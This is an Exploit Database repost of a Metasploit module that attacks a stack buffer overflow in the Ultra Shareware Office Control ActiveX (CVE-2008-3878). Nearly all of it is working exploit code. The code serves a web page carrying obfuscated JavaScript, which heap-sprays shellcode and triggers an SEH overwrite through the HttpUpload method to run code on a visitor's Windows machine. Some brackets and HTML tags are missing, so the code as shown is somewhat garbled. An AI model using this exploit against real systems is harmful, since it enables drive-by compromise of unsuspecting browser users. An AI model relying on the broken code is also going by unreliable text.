Ultra Shareware Office Control – ActiveX HttpUpload Buffer Overflow (Metasploit)

Exploit Database
117 阅读

作者： Metasploit

日期： 2010-09-20
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16513/

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# $Id: ultraoffice_httpupload.rb 10394 2010-09-20 08:06:27Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow',

'Description'=> %q{

This module exploits a stack-based buffer overflow in Ultra Shareware's Office

Control. When processing the 'HttpUpload' method, the arguments are concatenated

together to form a command line to run a bundled version of cURL. If the command

fails to run, a stack-based buffer overflow occurs when building the error

message. This is due to the use of sprintf() without proper bounds checking.

NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload

into memory unmodified.

'License'=> MSF_LICENSE,

'Author' => [ 'shinnai', 'jduck' ],

'Version'=> '$Revision: 10394 $',

'References' =>

[

[ 'CVE', '2008-3878' ],

[ 'OSVDB', '47866' ],

[ 'BID', '30861' ],

[ 'URL', 'http://www.exploit-db.com/exploits/6318' ]

'Payload'=>

{

'Space'=> 4096,

'BadChars' => "\x00",

# For HttpUpload args: "\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",

'DisableNops' => true

'Platform' => 'win',

'Targets'=>

[

# Tested with ActiveX v2.0.0.1020 and v2.0.2008.801

[ 'Windows Universal',

{

'Ret' => 0x0c0c0c0c# heap sprayed

# 0x746C15A9 # p/p/r in msls31.dll

# EEK, Safe SEH! 0x220118c2# p/p/r in OfficeCtrl.ocx

}

'DefaultTarget'=> 0,

'DisclosureDate' => 'Aug 27 2008'))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# ActiveX parameters

progid = "Ultra.OfficeControl"

clsid = "00989888-BB72-4E31-A7C6-5F819C24D2F7"

# Set parameters

fnname = rand_text_alpha(8+rand(8))

arg1 = rand_text_alphanumeric(128)

arg2 = rand_text_alphanumeric(4096) * 10

seh_offset = 252

# Build the exploit buffer

sploit = rand_text_alphanumeric(seh_offset)

sploit << generate_seh_record(target.ret)

# Encode variables

sploit = Rex::Text.to_hex(sploit, '%')

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Prepare the heap spray parameters

spray_addr = target.ret

spray_num = "0x%x" % spray_addr

# Generate the final javascript

js = %Q|

function #{fnname}()

{

try {

var obj = new ActiveXObject("#{progid}");

var my_unescape = unescape;

var shellcode = '#{shellcode}';

#{js_heap_spray}

sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);

var arg1 = my_unescape("#{arg1}");

var arg2 = my_unescape("#{arg2}");

var sploit = my_unescape("#{sploit}");

obj.HttpUpload(arg1, arg2, sploit);

} catch( e ) { window.location = 'about:blank' ; }

}

# Obfuscate the javascript

opts = {

'Strings' => true,

'Symbols' => {

'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit }

}

js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)

js.obfuscate()

# Build the final HTML

content = %Q|<html>

<head>

#{js}

</script>

</head>

Please wait...

</body>

</html>

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, content)

handler(cli)

end